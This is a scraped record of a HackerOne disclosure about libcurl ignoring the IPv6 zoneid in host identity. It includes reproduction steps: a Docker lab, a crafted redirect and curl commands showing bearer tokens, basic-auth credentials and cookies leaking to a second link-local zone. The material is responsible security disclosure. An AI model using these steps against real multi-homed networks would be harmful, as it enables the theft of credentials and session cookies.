{“lastseen”:”2026-04-19T22:29:41″,”description”:”## Summary:\\nlibcurl omits the IPv6 zoneid component from multiple security-sensitive host identity decisions even though the connection layer still routes by zoneid. As a result, two distinct scoped\/link-local destinations such as [fe80::X%zoneA] and [fe80::X%zoneB] are treated as the same host by redirect credential guards, cookie identity, and .netrc lookup. I reproduced three consequences: redirect-protected secrets are forwarded cross-zone, host-only cookies cross-zone, and .netrc credentials apply cross-zone. This reproduces on my local checkout (curl 8.19.0-DEV), my local master build (curl 8.20.0-DEV), and the installed system curl \/usr\/bin\/curl 8.19.0 on Kali Linux. This appears distinct from CVE-2022-27775, which was about connection reuse \/ conncache keying rather than redirect, cookie, and credential host identity. The root cause is that zoneid is ignored in security-sensitive host comparisons but still used later as scope_id for actual routing.\\n\\n## Affected version\\nInstalled system curl:\\n\\ncurl 8.19.0 (x86_64-pc-linux-gnu) libcurl\/8.19.0 OpenSSL\/3.5.5 zlib\/1.3.1 brotli\/1.2.0 zstd\/1.5.7 libidn2\/2.3.8 libpsl\/0.21.5 libssh2\/1.11.1 nghttp2\/1.68.1 ngtcp2\/1.21.0 nghttp3\/1.15.0 librtmp\/2.3 mit-krb5\/1.22.1 OpenLDAP\/2.6.10\\nRelease-Date: 2026-03-11, security patched: 8.19.0-1\\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt mqtts pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss\\nFeatures: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd\\n\\nAlso reproduced on:\\n\\ncurl 8.19.0-DEV (Linux) libcurl\/8.19.0-DEV …\\ncurl 8.20.0-DEV (Linux) libcurl\/8.20.0-DEV …\\n\\nPlatform:\\n\\nLinux kali 6.12.38+kali-amd64 x86_64 GNU\/Linux\\n\\n\\n## Steps To Reproduce:\\nI used a local Docker lab with two different IPv6 bridge networks. Two containers are given the same MAC address so they receive the same link-local IPv6 address on different interfaces, which creates two distinct scoped destinations with the same numeric\\nfe80:: address.\\n\\n### Repro 1: redirect-protected secrets leak cross-zone\\n\\n1. Create two Docker IPv6 bridge networks, netA and netB.\\n2. Start container A on netA and container B on netB, both with the same MAC address.\\n3. Container A returns:\\n\\nHTTP\/1.0 302 Found\\nLocation: http:\/\/[fe80::42:acff:fe11:2%25br-B]:18080\/target\\n\\n4. Request:\\n\\ncurl -g -v -L –noproxy ‘*’ –oauth2-bearer s3cr3t \\\\\\n \\”http:\/\/[fe80::42:acff:fe11:2%25br-A]:18080\/start\\”\\n\\n5. Observe that curl follows the redirect and still sends:\\n\\nAuthorization: Bearer s3cr3t\\n\\n6. The second container receives it:\\n\\nB-installed path=\/bearer\/target auth=Bearer s3cr3t cookie=None\\n\\nI reproduced the same redirect leak shape with:\\n\\n- -u user:secret\\n- –oauth2-bearer s3cr3t\\n- -H ‘Authorization: s3cr3t’\\n- -H ‘Cookie: test=yes’\\n\\nThis happens without –location-trusted \/ CURLOPT_UNRESTRICTED_AUTH.\\n\\n### Repro 2: host-only cookies cross-zone\\n\\n1. Make %zoneA return:\\n\\nSet-Cookie: sid=zonepoison; Path=\/\\n\\n2. Seed the cookie jar:\\n\\ncurl -g -v –noproxy ‘*’ -b ” -c jar.txt \\\\\\n \\”http:\/\/[fe80::42:acff:fe11:2%25br-A]:18080\/seed\\”\\n\\n3. The jar stores:\\n\\nfe80::42:acff:fe11:2 FALSE \/ FALSE 0 sid zonepoison\\n\\n4. In a fresh invocation, request %zoneB:\\n\\ncurl -g -v –noproxy ‘*’ -b jar.txt \\\\\\n \\”http:\/\/[fe80::42:acff:fe11:2%25br-B]:18080\/check\\”\\n\\n5. Observe:\\n\\nCookie: sid=zonepoison\\n\\n6. The second container receives it:\\n\\nB-installed path=\/check auth=None cookie=sid=zonepoison\\n\\n\\n### Repro 3: .netrc credentials apply cross-zone\\n\\n1. Create .netrc:\\n\\nmachine fe80::42:acff:fe11:2 login user password secret\\n\\n2. Request %zoneA:\\n\\ncurl -g -v –basic –netrc-file netrc –noproxy ‘*’ \\\\\\n \\”http:\/\/[fe80::42:acff:fe11:2%25br-A]:18080\/a\\”\\n\\n3. Request %zoneB with the same file:\\n\\ncurl -g -v –basic –netrc-file netrc –noproxy ‘*’ \\\\\\n \\”http:\/\/[fe80::42:acff:fe11:2%25br-B]:18080\/b\\”\\n\\n4. Both requests send:\\n\\nAuthorization: Basic dXNlcjpzZWNyZXQ=\\n\\n5. The second container receives:\\n\\nB-installed path=\/b auth=Basic dXNlcjpzZWNyZXQ= cookie=None\\n\\n### Why this happens\\n\\nThe relevant code paths appear to be:\\n\\n- lib\/urlapi.c::Curl_url_same_origin() compares scheme\/host\/port but ignores CURLUPART_ZONEID\\n- lib\/http.c stores first_host = conn-\\u003ehost.name\\n- lib\/vauth\/vauth.c::Curl_auth_allowed_to_host() compares only host\/port\/protocol\\n- lib\/http.c \/ lib\/cookie.c key cookies on normalized host strings without zoneid\\n- lib\/url.c performs .netrc lookup using conn-\\u003ehost.name\\n- lib\/url.c::zonefrom_url() later extracts CURLUPART_ZONEID and sets conn-\\u003escope_id\\n\\n### Expected result\\n\\n[fe80::X%zoneA] and [fe80::X%zoneB] should be treated as different security identities for:\\n\\n- redirect credential forwarding\\n- protected custom headers\\n- host-only cookie storage and selection\\n- .netrc host credential lookup\\n\\n## Impact\\n\\n## Summary:\\nAn attacker controlling one scoped\/link-local IPv6 origin, or an open redirect on it, can cause curl\/libcurl to send secrets to a different scoped destination that has the same numeric fe80:: address on another interface.\\nThis includes built-in credentials, Bearer tokens, protected custom headers, host-only cookies, and .netrc credentials.\\nThe bug breaks trust boundaries between distinct link-local realms and can affect multi-homed systems, local automation, containers, service meshes, and other environments where scoped IPv6 addresses are used.\\nThe impact is confidentiality loss and cross-realm state confusion without any explicit opt-in such as –location-trusted \/ CURLOPT_UNRESTRICTED_AUTH.\\nThe attack surface is narrower than a generic internet-wide cross-host leak, so I would rate it Medium, but it is a real security boundary failure and not expected behavior.”,”published”:”2026-04-17T18:59:24″,”modified”:”2026-04-19T21:50:12″,”type”:”hackerone”,”title”:”curl: libcurl omits IPv6 zoneid from host identity and leaks credentials\/cookies across scoped link-local realms”,”source”:””,”references”:””,”id”:”H1:3680680″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[“CVE-2022-27775″],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3680680″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-19T22:29:41″,”description”:”## Summary:\\nlibcurl omits the IPv6 zoneid component from multiple security-sensitive host identity decisions even though the connection layer still routes by zoneid. As a result,…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,16,12,117,15,13,7,11,5],"class_list":["post-47912","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-hackerone","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n